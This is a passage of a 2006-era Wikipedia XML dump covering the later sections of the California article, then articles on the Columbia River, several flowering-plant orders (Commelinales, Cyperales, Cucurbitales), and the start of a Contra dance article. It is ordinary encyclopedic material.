1058 [[Parksdale, California]] - [[Madera County]] - $7,129   &lt;br&gt; 
1057 [[Earlimart, California]] - [[Tulare County]] - $7,169   &lt;br&gt; 
1056 [[South Dos Palos, California]] - [[Merced County]] - $7,170   &lt;br&gt; 
1055 [[Winterhaven, California]] - [[Imperial County]] - $7,220   &lt;br&gt; 
1054 [[Shackelford, California]] - [[Stanislaus County]] - $7,250   &lt;br&gt; 
1053 [[Palo Verde, California]] - [[Imperial County]] - $7,275  &lt;br&gt; 
1052 [[Biola, California]] - [[Fresno County]] - $7,375   &lt;br&gt; 
1051 [[Kettleman City, California]] - [[Kings County]] - $7,389   &lt;br&gt; 
1050 [[Arvin, California]] - [[Kern County]] - $7,408   &lt;br&gt; 
1049 [[Coachella, California]] - [[Riverside County]] - $7,416   &lt;br&gt; 
1048 [[Bret Harte, California]] - [[Stanislaus County]] - $7,481   &lt;br&gt; 
1047 [[Traver, California]] - [[Tulare County]] - $7,642   &lt;br&gt; 

{{further|[[California locations by per capita income]]}}

== Education ==
{{main|List of colleges and universities in California}}
&lt;gallery&gt;
Image:Berkeley glade afternoon.jpg|[[University of California, Berkeley|UC Berkeley]]
Image:Stanford campus aerial photo.jpg|[[Stanford University|Stanford]]
Image:RHall.JPG|[[University of California, Los Angeles|UCLA]]
Image:USC Bovard Auditorium enh.jpg|[[University of Southern California|USC]]
&lt;/gallery&gt;
California's public educational system is supported by a unique constitutional amendment that requires 40% of state revenues to be spent on education.

The preeminent ''state university'' is the [[University of California]], which employs more [[Nobel Prize]] winners than any other institution in the world and is considered one of the finest public higher-education systems in the country.  The nine general UC campuses are in [[University of California, Berkeley|Berkeley]], [[University of California, Los Angeles|Los Angeles]], [[University of California, San Diego|San Diego]], [[University of California, Davis|Davis]], [[University of California, Santa Cruz|Santa Cruz]], [[University of California, Santa Barbara|Santa Barbara]], [[University of California, Irvine|Irvine]], [[University of California, Riverside|Riverside]], and [[University of California, Merced|Merced]].  The [[University of California, San Francisco]], teaches only graduate health-sciences students, and the [[Hastings College of Law]], also in San Francisco, is one of UC's four law schools.   The UC system is intended to accept students from the top 12.5% of college-bound students, and provide most graduate studies and research. The University of California also administers federal laboratories for the [[United States Department of Energy|Federal Department of Energy]]: [[Lawrence Livermore National Laboratory]], [[Lawrence Berkeley National Laboratory]], and [[Los Alamos National Laboratory]].

The [[California State University]] system includes 23 universities and provides education for teachers, the trades, engineering, agriculture and industry.  With over 400,000 students, the CSU system is the largest university system in the United States.  It is intended to accept most college-bound high-school students, while carrying out some research, especially in applied sciences.  Lower-division course credits are frequently transferable to the University of California. 

The [[California Community Colleges system]] provides vocational education, remedial education, and continuing education programs.  It awards certificates and associate degrees and also provides lower division general-education courses, whose credit units are transferable to the CSU and UC systems.  It is composed of 109 colleges organized into 72 districts, serving a student population of over 2.9 million.

Notable ''private universities'' include [[Stanford University]], the [[University of Southern California]] (USC), [[Santa Clara University]] (SCU), the [[Claremont Colleges]], and the [[California Institute of Technology]] (Caltech) (which administers the [[Jet Propulsion Laboratory]] for [[NASA]]).

California has hundreds more private colleges and universities, including many religious and special-purpose institutions.  This leads to many unique entertainment and educational opportunities for residents.  For example, Southern California, with one of the highest densities of post-secondary institutions in the world, has a very large base of classically trained vocalists that compete in large choir festivals.  Near Los Angeles, there are numerous art and film institutes, including the [[California Institute of the Arts|CalArts Institute]].

''Public secondary education'' consists of high schools that teach elective courses in trades, languages and liberal arts with tracks for gifted, college-bound and industrial arts students.  They accept students from roughly age 14 to 18, with mandatory education ceasing at age 16.  In many districts, junior high schools or middle schools teach electives with a strong skills-based curriculum, for ages from 11 to 13. Elementary schools teach pure skills, history and social studies, with optional half-day kindergartens beginning at age 5.  Mandatory full-time instruction begins at age 6.

The ''primary schools'' are of varying effectiveness. The quality of the local schools depends strongly on the local tax base, and the size of the local administration.  In some regions, administrative costs divert a significant amount of educational monies from instructional purposes. In poor regions, literacy rates may fall below 70%. One thing they all have in common is a state mandate to teach fourth grade students about the history of California, including the role of the early missions; most schools implement this by requiring students complete a [[California 4th Grade Mission Project|multiple medium project]].

== Sports ==
California's large population has helped to make it home to many professional sports teams, including fifteen [[major professional sports league]] franchises, far more than any other state.  However, since the re-location of the [[Los Angeles Raiders]] and [[Los Angeles Rams]] in the 1990s, it could be argued that no one city is able to lay claim to a &quot;[[U.S. cities with teams from four major sports|Grand Slam]]&quot; (i.e. having a team in each of the four leagues) unless Oakland, San Francisco and San Jose are counted as being in a single metropolitan area.  California hosted the [[1960 Winter Olympics]] at [[Squaw Valley]], the [[1932 Summer Olympics|1932]] and [[1984 Summer Olympics]] in [[Los Angeles]], as well as the [[1994]] [[Football World Cup 1994|FIFA World Cup]] and several [[Superbowl]]s.  Each year, the [[California State Games]] take place here.

===Major league teams===
{{col-begin}}
{{col-3}}
'''[[Major League Baseball]]'''

*[[Los Angeles Angels of Anaheim]]
*[[Los Angeles Dodgers]]
*[[Oakland Athletics]]
*[[San Diego Padres]]
*[[San Francisco Giants]]

'''[[National Basketball Association]]'''

*[[Golden State Warriors]]
*[[Los Angeles Clippers]]
*[[Los Angeles Lakers]]
*[[Sacramento Kings]]

'''[[National Football League]]'''

*[[Oakland Raiders]]
*[[San Diego Chargers]]
*[[San Francisco 49ers]]

{{col-3}}
'''[[National Hockey League]]'''

*[[Anaheim Mighty Ducks]]
*[[Los Angeles Kings]]
*[[San Jose Sharks]]

===Other teams===
'''[[Arena Football League]]'''

*[[San Jose Sabercats]]
*[[Los Angeles Avengers]]

'''[[Major League Soccer]]'''

*[[Club Deportivo Chivas USA]]
*[[Los Angeles Galaxy]]

'''[[Women's National Basketball Association]]'''

*[[Los Angeles Sparks]]
*[[Sacramento Monarchs]]
{{col-end}}

== Transportation ==
[[Image:Glendalefreeway.jpg|thumb|right|300px|Caltrans builds tall &quot;stack&quot; [[Interchange (road)|interchange]]s whose soaring ramps offer stunning views.]]California's vast terrain is connected by an extensive system of [[freeway]]s, [[expressway]]s, and [[highway]]s, all maintained by [[Caltrans]] and patrolled by the [[California Highway Patrol]], except for the numbered expressways in [[Santa Clara County, California|Santa Clara County]] which were built and maintained by the county itself.  The main north-south arteries are [[U.S. Highway 101]], which runs close to the coast from the state's border with [[Oregon]] to downtown [[Los Angeles]], and [[Interstate 5]], which runs inland from the Oregon to [[Mexico]] borders, bisecting the entire state.  California is known for its [[car culture]], and its residents typically take to the roads for their commutes, errands, and vacations, giving California's cities a reputation for severe [[traffic congestion]].  Almost all California highways are non-toll roads. Notable exceptions are any major bridges. 

As for air travel, [[Los Angeles International Airport]] and [[San Francisco International Airport]] are major hubs for trans-Pacific and transcontinental traffic.  There are about a dozen important commercial [[airport]]s and many more [[general aviation]] airports throughout the state's 58 counties.

California also has several important [[seaport]]s.  The giant seaport complex formed by the [[Port of Los Angeles]] and the [[Long Beach, California#Shipping and transportation|Port of Long Beach]] in Southern California is the largest in the country and responsible for handling about a fourth of all container cargo traffic in the United States.  The [[Port of Oakland]] handles most of the ocean containers passing through Northern California.  

[[Image:La city hwys.jpg|thumb|left|200px|Stack [[Interchange (road)|interchange]] in [[Los Angeles]]]]
Intercity rail travel is provided by [[Amtrak]].  Los Angeles and San Francisco both have [[subway]] networks, in addition to [[light rail]]. San Jose and Sacramento have only light rail, though portions of San Jose light rail serve as [[EL Trains]].  [[Metrolink]] [[commuter rail]] serves much of Southern California, and [[Caltrain]] commuter rail connects San Jose and [[Gilroy, California|Gilroy]] (commute hour only) to San Francisco.  [[Altamont Commuter Express]] (ACE) connects [[Tracy, California|Tracy]], [[Livermore, California|Livermore]] and other edge cities with San Jose. [[BART]], an express rail service, connects San Francisco and Oakland to Millbrae in the southwest, Fremont in the southeast,  Dublin and Pleasanton in the east, Richmond in the north, and Pittsburg in the northeast. Despite its name, it does not encompass the entire Bay Area; the [[North Bay (California)|North Bay]] and [[Santa Clara Valley|South Bay]] regions are not currently included in the system.  [[San Diego]] has [[San Diego Trolley|Trolley]] light rail and [[San Diego Coaster|Coaster]] commuter rail services. Nearly all counties operate [[bus]] lines, and many cities operate their own bus and light rail lines as well.

Both [[Greyhound Lines|Greyhound]] and Amtrak provide intercity bus service.

The rapidly growing population of the state is straining all of its transportation networks.  A regularly recurring issue in California politics is whether the state should continue to aggressively expand its freeway network or concentrate on improving mass transit networks in urban areas.

The California High Speed Rail Authority was created some years back by the state to implement an extensive 700 mile (1127&amp;nbsp;km) rail system. Construction is pending approval of the voters during next November's General Election where a 9 billion dollar state bond would have to be approved.

==References==
# {{note|origin_of_nickname}} {{note_label|origin_of_nickname|1|a}} The California Secretary of State's statement on the [http://www.ss.ca.gov/executive/ca_roster/1999/1999_miscellany.pdf origin of 'The Golden State' as California's nickname].
# {{note|native_grasses}} [[United States Department of Agriculture]] [http://www.ars.usda.gov/is/AR/archive/may04/grass0504.htm article on California's perennial native grasses]
# {{note|econ}} {{cite web
 | title = Cal Facts 2004 
 | work = California Legislative Analyst's Office 
 | url = http://www.lao.ca.gov/2004/cal_facts/2004_calfacts_econ.htm 
 | accessdate = 2005-08-02
 }}
* {{cite book
 | last = Chartkoff | first = Joseph L.
 | coauthors = Chartkoff, Kerry Kona
 | date = 1984
 | title = The archaeology of California
 | location = Stanford
 | publisher = Stanford University Press
 }}
* {{cite book
 | last = Fagan | first = Brian
 | date = 2003
 | title = Before California: An archaeologist looks at our earliest inhabitants
 | location = Lanham, MD
 | publisher = Rowman &amp; Littlefield Publishers
 }}
* {{cite book
 | last = Moratto | first = Michael J.
 | coauthors = Fredrickson, David A.
 | date = 1984
 | title = California archaeology
 | location = Orlando
 | publisher = Academic Press
 }}

==See also==
{{sisterlinks|California}}
*[[List of California-related topics]]
*[[List of California state highways]]
*[[César Chávez]] - César Chávez Day is a holiday, [[March 31]].
*[[California English]]
*[[Cuisine of California]]
*[[List of California counties]]
*[[List of California politicians]]
*[[List of California state prisons]]
*[[List of cities in California]]
*[[List of cities in California (by population)]]
*[[List of professional sports teams in California]]
*[[Lists of school districts in California by county]]
*[[Music of California]]
*[[Origin of the name California]]
*[[Protected areas of California]]
*[[USS California|USS ''California'']]
*[[Northern California]]

==External links==
*[http://www.ca.gov/ State of California Official Website]
*[http://quickfacts.census.gov/qfd/states/06000.html U.S. Census Bureau]
*[http://www.ecanned.com/indsum/level1/CA/index.html California Employment] - State and County Data
*[http://countingcalifornia.cdlib.org/ Counting California]
*[http://www.dmv.org/ca-california/department-motor-vehicles.php California DMV]

{{California}}
{{United_States}}

[[Category:California|*]]
[[Category:States of the American West]]
[[Category:1850 establishments]]
[[Category:States of the United States]]

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    </revision>
  </page>
  <page>
    <title>Columbia River</title>
    <id>5408</id>
    <revision>
      <id>41841704</id>
      <timestamp>2006-03-02T02:21:27Z</timestamp>
      <contributor>
        <ip>143.166.226.19</ip>
      </contributor>
      <comment>/* In the movies */</comment>
      <text xml:space="preserve">[[Image:Columbia River Gorge.jpg|thumb|right|350px|[[Columbia River Gorge]], Washington or North side]]

The '''Columbia River''' (French: ''fleuve Columbia'') is a [[river]] situated in [[British Columbia]] and the [[Pacific Northwest]] of the [[United States]]. It is the largest [[river]] in volume flowing into the [[Pacific Ocean]] from [[North America]], and the second largest by volume in North America behind the Mississippi. In rare years, the river's flow may actually exceed that of the Mississippi. The mean total flow is 166,000 ft&lt;sup&gt;3&lt;/sup&gt;/s (4700 m&lt;sup&gt;3&lt;/sup&gt;/s). It is the largest [[hydroelectric power]] producing river in [[North America]]. From its headwaters to the Pacific Ocean it flows 1,232 miles (2,044 km), and drains 258,000 square miles (415,211 km&amp;sup2;).

==Geography==

[[Columbia Lake]] forms the Columbia's headwaters in the [[Canadian Rockies]] of southern British Columbia.  The river then flows through [[Windermere Lake (British Columbia)|Windermere Lake]] and the town of [[Invermere]], then northwest to [[Golden, British Columbia|Golden]] and into [[Kinbasket Lake]].  The river then turns (the &quot;Big Bend&quot;) south through [[Revelstoke Lake]] and the [[Arrow Lakes]] to the BC&amp;ndash;[[Washington]] border. 

The river then flows through the east-central portion of Washington State. The last 300 miles (480 km) of the Columbia form the Washington-[[Oregon]] boundary. The river goes into the Pacific Ocean at [[Ilwaco, Washington]] and [[Astoria, Oregon]] forming the [[Columbia Bar]].

For its first 200 miles (320 km) the Columbia flows northwest; it then bends to the south, crossing from Canada into the United States, where the river meets the Clark Fork. The [[Clark Fork River]] begins near [[Butte, Montana]] and flows through western Montana before entering [[Pend Oreille Lake]]. Water draining from the lake forms the [[Pend Oreille River]], which flows across the [[Idaho]] panhandle to Washington's northeastern corner where it meets the northern Canadian fork. 
[[Image:ColumbiarivergorgeJRH.jpg|thumb|left|300px|Columbia River Gorge, Oregon or South side]]

The river then runs southsouthwest through the [[Columbia Plateau]], changing to a southeasterly direction near the [[Columbia Basin]], where the magnificent [[Gorge at George]] is located. The [[Gorge Amphitheatre]], which looks out over the gorge, is a spectacular 40,000 person concert venue.

The river continues southeast until it passes the [[Hanford Nuclear Reservation]] just before it reaches the [[Snake River]]. The Columbia then makes a sharp bend to the west where it begins to form the Washington-Oregon border. 

Near the town of [[Hood River, Oregon]], the river begins cutting through the [[Cascade Mountains]] at the entrance to the [[Columbia River Gorge]]. The west side of the gorge is marked by [[Crown Point (Oregon)|Crown Point]]. Constant winds of 15 to 35 mph (25 to 55 km/h) blow through this wide straight [[gorge]]. It was here in [[Hood River County, Oregon]] that [[windsurfing]] was originated.

The Columbia River is the largest river in the world that has no [[River_delta|delta]]. The river continues west with one small north-northwesterly-directed stretch near [[Portland, Oregon|Portland]]; [[Vancouver, Washington]]; and the [[confluence]] with the [[Willamette River]].  On this sharp bend the river's flow slows considerably and it drops the sediment that would normally form a delta.

[[Image:Columbia.png|right|thumb|350px|Columbia River Basin, showing major dams and tributaries]]

===Major tributaries===
: For a more complete list '''''See''''' [[Tributaries of the Columbia River]]

Major tributaries, downstream from British Columbia to the Pacific Ocean:
* [[Kootenai River]]
* [[Pend Oreille River]]
* [[Yakima River]]
* [[Snake River]]
* [[John Day River]]
* [[Klickitat River]]
* [[Hood River]] 
* [[Sandy River (Oregon)|Sandy River]]
* [[Willamette River]]

==History==
On [[May 11]], [[1792]], Captain [[Robert Gray]] became the first white man to see the Columbia River. Gray traveled to the [[Pacific Northwest]] to trade for fur in a privately-owned vessel named ''Columbia''; he named the river after the ship.  Gray's discovery of the Columbia established a stronger belief that Americans had more of a &quot;right&quot; to the [[Oregon Country]], which was also claimed by [[Russia]]ns, [[United Kingdom of Great Britain|British]], [[Spain|Spanish]], and other nations.

&quot;Ouragan&quot; is the original name for the Columbia River.   Native American and First Nations stories hold the &quot;Ouragan&quot; as a very spiritual place.

[[Image:Cascade Columbia River.jpg|thumb|300px|Cascade on the Columbia River]]
[[Lewis and Clark Expedition|Lewis and Clark]]'s overland expedition explored the vast, unmapped lands west of the [[Missouri River]].  On the last stretch of their expedition they traveled down the Columbia River to the Pacific Ocean.  The expedition led the way in settling the west.

In 1825, on behalf of the [[Hudson's Bay Company]], Dr. [[John McLoughlin]] established [[Fort Vancouver]] (currently Vancouver, Washington) on the banks of the Columbia as a [[fur trading]] headquarters in the region.  The fort was by far the largest western settlement of its time.  Every year ships would come from [[London]] (via the Pacific) to drop off supplies and trade goods in exchange for the furs. For many settlers the fort became the last stop on the [[Oregon Trail]] to buy supplies and land before starting their homestead. Because of its access to the Columbia river, Fort Vancouver's influence reached from [[Alaska]] to [[California]] and from the Rocky Mountains to the [[Hawaiian Islands]].

==Hydroelectric dams==
The mainstream of the Columbia River has 11 dams and 8 locks.
Nearly half of all [[hydroelectricity]] in the United States comes from the Columbia and its tributaries.  The largest of the 150 hydroelectric projects, the [[Grand Coulee Dam]] and the [[Chief Joseph Dam]], are also the largest in the United States.  The Grand Coulee Dam is the third largest hydroelectric dam in the world.  The dams also provide a secondary benefit in flood control and irrigation.

On its north-south stretch through Eastern Washington, the Columbia spans a large desert created by the Cascade Mountains' [[rain shadow]].  The dams provide water for the [[Columbia Basin Project]], one of the most extensive [[irrigation]] projects in the western United States.  The project provides water to over 500,000 acres (2,000 km&amp;sup2;) of fertile but arid lands in central Washington State. Water from the project has transformed the region from a wasteland barely able to produce subsistence levels of dry-land wheat crops to a major agricultural center.  Important crops include [[Apple (fruit)|apple]]s, [[potato]]es, [[alfalfa]], [[wheat]], [[maize|corn]] (maize), [[barley]], [[hops]], [[bean]]s, and [[sugar beet]]s.

[[Image:Roll on Columbia.jpg|thumb|300px|The path of the Columbia River from Canada to the Pacific]]
Although the dams provide clean, renewable energy, they drastically alter the landscape and ecosystem of the river.  At one time the Columbia was one of the top [[salmon]] producing river systems in the world.  Previously active fishing sites, like [[Celilo Falls]] in the eastern Columbia River Gorge highlight the relative decline in fishing along the Columbia during the last century.  The presence of dams coupled with over-fishing has played a major role in the reduction of salmon populations.  [[Fish ladder]]s have been installed to help the fish journey to spawning waters.  Additionally each dams' reservoirs are closely regulated by the [[Bonneville Power Administration]] to ensure one dam is not hoarding water to the detriment of habitat for salmon and other fish.

==Pollution==
Contaminants have seeped into the Columbia River from the [[Hanford Site|Hanford Nuclear Reservation]].  This Reservation was established in 1940s as part of the [[Manhattan Project]]. It is located along the river in southeastern Washington on 586 mile&amp;sup2; (1,520 km&amp;sup2;) of some of the most fertile land in North America; at the time of its establishment, the area was considered a wasteland. The site served as a [[plutonium]] production complex with nine [[nuclear reactor]]s and related facilities. Most of the facilities were shut down in the 1960s. The site is currently under control of the [[Department of Energy]], and is a [[CERCLA]], or superfund site. The superfund cleanup is expected to be completed in 2030.

There are also many more major problems with the Columbia, from raw [[sewage]] dumpage, to hundreds of tons of slag dumped daily. Because of the pollution problems, some people believe that the future health of the Columbia River does not look good.  However, newspapers such as ''[[The Oregonian]]'' are calling attention to the problems of rivers, and there is hope that humans, industries, flora, fauna and safe water can be made to co-exist.

==Culture==
With the importance of the Columbia to the Pacific Northwest, it has made its way into the culture of the area and the nation.

From the [[Woody Guthrie]] song &quot;[[Roll on, Columbia]]&quot;:
:''&quot;Roll on, Columbia, roll on, roll on, Columbia, roll on''
:''Your power is turning our darkness to dawn''
:''Roll on, Columbia, roll on.&quot;''

===In the movies===
*''[[Bend of the River]]'' (with [[Jimmy Stewart]]), has a river boat scene filmed on the Columbia River in 1952. 

*In 1954, some scenes of the [[television]] series [[Lassie (1954 tv series)|Lassie]] were filmed in the Columbia River Gorge.

*The Grand Coulee Dam was used in ''[[Indiana Jones and the Temple of Doom]]'' (1984; [[Harrison Ford]]). 

*The exterior river boat scenes from the 1994 film ''[[Maverick (film)|Maverick]]'' ([[Mel Gibson]], [[Jodie Foster]], and [[James Garner]]), were shot on the Columbia River, in the Columbia River Gorge, near the town of [[Hood River]].

*The dock scene for ''[[Snow Falling on Cedars]]'' (1999; [[Ethan Hawke]]) was filmed on the river at [[Cathlamet, Washington|Cathlamet]], [[Wahkiakum County, Washington]].

*The rock jetty ''[[Free Willy]]'' jumps over to gain his freedom is located on the Oregon side of the river in the Hammond Boat Basin.

==See also==
*[[Columbia River Highway]]
*[[Columbia Bar]]
*[[Tributaries of the Columbia River]]
*[[Cities on the Columbia River]]
*[[Hydroelectric dams on the Columbia River]]
*[[Cascades Rapids]]
*[[List of Washington rivers]]
*[[List of Oregon rivers]]
*[[List of British Columbia rivers]]
*[[Grays Point, Columbia River|Grays Point]]
*[[Columbia River Treaty]]

==External links==
*[http://www.columbiariverhighway.com/ Historic Columbia River Highway]
*[http://www.nationalgeographic.com/earthpulse/columbia/index_flash.html ''National Geographic'' on the Columbia]
*[http://www.bchydro.com/info/system/system15276.html BC Hydro Generation System Information]
*[http://www.ccrh.org/ Center for Columbia River history]
*[http://www.crmm.org/ Columbia River Maritime Museum]
*[http://www.fs.fed.us/r6/columbia/forest/ Columbia River Gorge National Scenic Area]
*[http://www.ccalmr.ogi.edu/CORIE/ CORIE, a Columbia River observation and prediction system]

[[Category:Lewis and Clark]]
[[Category:Rivers of British Columbia]]
[[Category:Rivers of Oregon]]
[[Category:Rivers of Washington]]

[[ca:Riu Colúmbia]]
[[de:Columbia (Fluss)]]
[[es:Río Columbia]]
[[eo:Kolumbio (Rivero)]]
[[fr:Columbia (fleuve)]]
[[la:Columbia (flumen)]]
[[ja:コロンビア川]]
[[pl:Kolumbia (rzeka)]]
[[pt:Rio Columbia]]
[[sk:Columbia (rieka)]]</text>
    </revision>
  </page>
  <page>
    <title>Commelinales</title>
    <id>5409</id>
    <revision>
      <id>37688568</id>
      <timestamp>2006-02-01T16:01:19Z</timestamp>
      <contributor>
        <username>Muriel Gottrop</username>
        <id>8201</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Commelinales
| image = Anigozanthos.flavidus1web.jpg
| image_width = 250px
| image_caption = Kangaroo Paw (''Anigozanthos flavidus'')
| regnum = [[Plant]]ae
| divisio = [[flowering plant|Magnoliophyta]]
| classis = [[monocotyledon|Liliopsida]]
| ordo = '''Commelinales'''
| ordo_authority = [[Barthélemy Charles Joseph du Mortier|Dumortier]]
| subdivision_ranks = Families
| subdivision = 
[[Commelinaceae]]&lt;br /&gt;
[[Haemodoraceae]]&lt;br /&gt;
[[Hanguanaceae]]&lt;br /&gt;
[[Philydraceae]]&lt;br /&gt;
[[Pontederiaceae]]
}}

The '''Commelinales''' are an order of [[monocot]]s, including the [[spiderwort]] family, [[Commelinaceae]].  Unfortunately the composition of the remainder of the group has been highly variable.  

Under Cronquist, the following additional families were recognized:

* [[Rapataceae]]
* [[Xyridaceae]]
* [[Mayacaceae]]

However, many more modern authors consider these families to have closer affinities to other groups, moving the ''Xyridaceae'' to the [[Eriocaulales]] and the others to the [[Bromeliales]].  

In their place, a series of forms formerly classified in the [[Liliales]] have been realized to have closer affinities to the Commelinidae, and so are either grouped in the Commelinales or in a separate, possibly paraphyletic, order Philydrales.  

The families, according the update of the APG II ([[Angiosperm Phylogeny Group]]), included in the Commelinales are then as follows:
*[[Commelinaceae]] : the Spiderwort family
*[[Haemodoraceae]]
*[[Hanguanaceae]]
*[[Philydraceae]]
*[[Pontederiaceae]]

This variability in membership makes characterization of the Commelinales, beyond being the Commelinaceae and its close relatives, very difficult.

[[Category:Liliopsida]]

[[da:Tradescantia-ordenen]]
[[de:Commelinaartige]]
[[fr:Commelinales]]
[[nl:Commelinales]]
[[no:Commelinales]]
[[pl:Komelinowce]]
[[pt:Commelinales]]
[[sv:Commelinales]]</text>
    </revision>
  </page>
  <page>
    <title>Cyperales</title>
    <id>5410</id>
    <revision>
      <id>40855856</id>
      <timestamp>2006-02-23T13:13:48Z</timestamp>
      <contributor>
        <username>Vuong Ngan Ha</username>
        <id>225920</id>
      </contributor>
      <text xml:space="preserve">'''Cyperales''' is an [[order (biology)|order]] comprising [[Monocotyledon|monocot]] [[flowering plant]]s of a single family, the [[Cyperaceae]], known as [[sedge]]s. The [[Poaceae]] (grasses) have also been placed here, but are now more often placed in a separate order, correspondingly called the [[Poales]]. Sometimes the order Cyperales is merged into the [[Juncales]].

The recent classification ([[APG]] II, 2003) places both Cyperaceae and Juncaceae into Poales, thus effectively obsoleting Cyperales.

{{monocot-stub}}
[[Category:Liliopsida]]

[[fr:Cyperales]]
[[vi:Bộ Cói]]</text>
    </revision>
  </page>
  <page>
    <title>Cucurbitales</title>
    <id>5411</id>
    <revision>
      <id>39830345</id>
      <timestamp>2006-02-16T03:45:00Z</timestamp>
      <contributor>
        <username>MrDarwin</username>
        <id>757091</id>
      </contributor>
      <comment>guessing at total number, species numbers for Begoniaceae &amp; Cucurbitaceae were quite wrong</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Cucurbitales
| regnum = [[Plant]]ae
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Dicotyledon|Magnoliopsida]]
| ordo = '''Cucurbitales''' &lt;small&gt;Dumort. ([[1829]])&lt;/small&gt;
| subdivision_ranks = Families
| subdivision = 
*[[Cucurbitaceae]] ([[gourd]] family)&lt;br /&gt;
*[[Begoniaceae]] ([[begonia]] family)&lt;br /&gt;
*[[Datiscaceae]]&lt;br /&gt;
*[[Tetramelaceae]]&lt;br /&gt;
*[[Corynocarpaceae]]&lt;br /&gt;
*[[Coriaria]]ceae&lt;br /&gt;
*[[Anisophylleaceae]]
}}

The '''Cucurbitales''' are an order of [[flowering plant]]s, included in the rosid group of [[dicotyledon]]s. This order mostly belongs to tropical areas, with limited presence in subtropic and temperate regions. The order includes various shrubs and trees, together with many herbs and climbers. One of major characteristics of the Cucurbitales is the presence of unisexual flowers, mostly pentacyclic, with thick pointed petals (whenever present) (Matthews and Endress, 2004). The pollination is usually performed by insects, but anemophily is also present (in ''Coriariaceae'' and ''Datiscaceae'').

The order consists of roughly 2300 species in seven families. The largest families are ''Begoniaceae'' with 1400 species and ''Cucurbitaceae'' with 825 species.

The large families of Cucurbitales include several economically important plants. Specifically, the ''Cucurbitaceae'' are responsible for some food species, such as [[squash (fruit)|squash]], [[pumpkin]] (both from ''Cucurbita''), [[watermelon]] (''Citrullus vulgaris''), [[melon]] and [[cucumber]] (both ''Cucumis''). The ''Begoniaceae'' are known for their horticultural species, of which there are over 130.

==Classification==
Under the older [[Cronquist system]], the first four families were placed in the order [[Violales]], within the Dilleniidae, with the Tetramelaceae subsumed within the Datiscaceae.  The other families were distributed throughout various orders. The present classification is due to [[Angiosperm Phylogeny Group|APG II (2003)]].

==References==
* W. S. Judd, C. S. Campbell, E. A. Kellogg, P. F. Stevens, M. J. Donoghue (2002). ''Plant Systematics: A Phylogenetic Approach, 2nd edition.'' pp. 380-382 (Cucurbitales). Sinauer Associates,  Sunderland, Massachusetts. ISBN 0878934030.
* Matthews M. L. and Endress P. K. (2004). Comparative floral structure and systematics in Cucurbitales (Corynocarpaceae, Coriariaceae, Tetramelaceae, Datiscaceae, Begoniaceae, Cucurbitaceae, Anisophylleaceae). ''Botanical Journal of the Linnean Society'' '''145'''(2), 129-185. (Available online: [http://dx.doi.org/10.1111/j.1095-8339.2003.00281.x DOI] | [http://www.blackwell-synergy.com/links/doi/10.1111/j.1095-8339.2003.00281.x/abstract/ Abstract] | [http://www.blackwell-synergy.com/links/doi/10.1111/j.1095-8339.2003.00281.x/full/ Full text (HTML)] | [http://www.blackwell-synergy.com/links/doi/10.1111/j.1095-8339.2003.00281.x/pdf Full text (PDF)])
* [[Barthélemy Charles Joseph du Mortier|B. C. J. du Mortier]] (1829). ''Analyse des Familles de Plantes : avec l'indication des principaux genres qui s'y rattachent'', 28. Imprimerie de J. Casterman, Tournay.

[[Category:Cucurbitales|*]]

[[da:Græskar-ordenen]]
[[de:Kürbisartige]]
[[fr:Cucurbitales]]
[[he:דלועאים]]
[[nl:Cucurbitales]]
[[no:Cucurbitales]]
[[pl:Dyniowce]]
[[fi:Cucurbitales]]
[[sv:Cucurbitales]]</text>
    </revision>
  </page>
  <page>
    <title>Contra dance</title>
    <id>5412</id>
    <revision>
      <id>41769869</id>
      <timestamp>2006-03-01T16:52:23Z</timestamp>
      <contributor>
        <username>Nwestbury</username>
        <id>1012291</id>
      </contributor>
      <minor />
      <comment>/* Contra dance events */</comment>
      <text xml:space="preserve">''You may also be looking for a style of [[European classical music|classical music]] called [[contredanse]].

[[Image:ContraDanceCambridgeVFW.agr.jpg|thumb|300px|Thursday night contras in [[Cambridge, Massachusetts]].]]
'''Contra dance''' (also '''Contradance''', '''Contra-dance''' and other variant spellings) refers to several [[folk dance]] styles in which couples dance in two facing lines. The name may derive from the name of a [[France|French]] [[dance]] very popular in the [[18th century]]. Some authorities (including the ''[[Oxford English Dictionary]]'') state that the name's origin is a corruption of the [[English language|English]] ''[[English country dance|country-dance]],'' while others (including ''[[Merriam-Webster]]'') contradict this. Whatever the origins of the term, this article is about an American folk dance style, ''contra dance,'' the dances, called ''contra dances'' that comprise that style, and the regularly-scheduled evening events, also called ''contra dances,'' where people get together to participate in the folk tradition.

==Origins and History==
At the end of the [[17th century]], English country dances were taken-up by French dancers &amp;mdash; hybrid choreographies exist from this period that use the steps from [[Baroque dance|French court dance]] in English dances.  The French called these dances ''contra-dance'' or ''contredanse''.  As time progressed, English country dances were spread and reinterpreted throughout the Western world, and eventually the French form of the name came to be associated with the American folk dances, especially in [[New England]]. As of [[2005]], there is a regularly scheduled contra dance in most North American cities or regions, as well as in [[Belgium]], [[Denmark]], [[England]], [[Czech Republic]] and [[Australia]]).

==Contra dance events==
A typical evening of contra dance is 3 hours long, including an intermission. During a typical event, attendees will dance a number of individual dances, called ''contra dances,'' divided by a scattering of partner dances, like [[waltzes]] or [[schottische]]s. Music for the evening is invariably provided by a live band playing [[jig]]s and [[reel (dance)|reels]] from the [[British Isles]], [[Canada]], the [[USA]].

Most contra dance events are open to all comers, regardless of experience. Generally, a leader, called a ''caller,'' will teach each individual dance in the period immediately before the music for that individual dance begins, a time called the &quot;walk through.&quot; During each dance's walk through, the dancers learn the dance by walking through in order the moves that comprise an individual contra dance, following the caller's instructions.

The contra dance tradition is to change partners for every dance. As such, one who attends an evening of contra dances does not need to bring his or her own partner. In the short break between individual dances, the dancers invite each other to dance. Traditionally, one either dances with the first person who asks or else sits out the dance. The music begins and the dancers repeat that sequence some number of times before the dance ends. Then the dancers thank their partners, and find new partners for the next dance.

No special outfits are worn, but &quot;peasant skirts&quot; or other full, light weight skirts are popular, as these have a very pretty effect when swinging.  This includes some men as well; contradancers can be quite liberal in the way they dress.   Low, broken-in, soft-soled, non-marking shoes are recommended and, in some places, required.

==Choreography==
Most contra dances consist of a sequence of about six to twelve individual figures. These figures are prompted by the [[Caller (dance)|caller]] in time to the [[music]] as the figures are danced. As the sequence repeats, the caller may cut down his or her prompting, and eventually drop out, leaving the dancers to enrapture themselves in the music.

===Types of Sets===
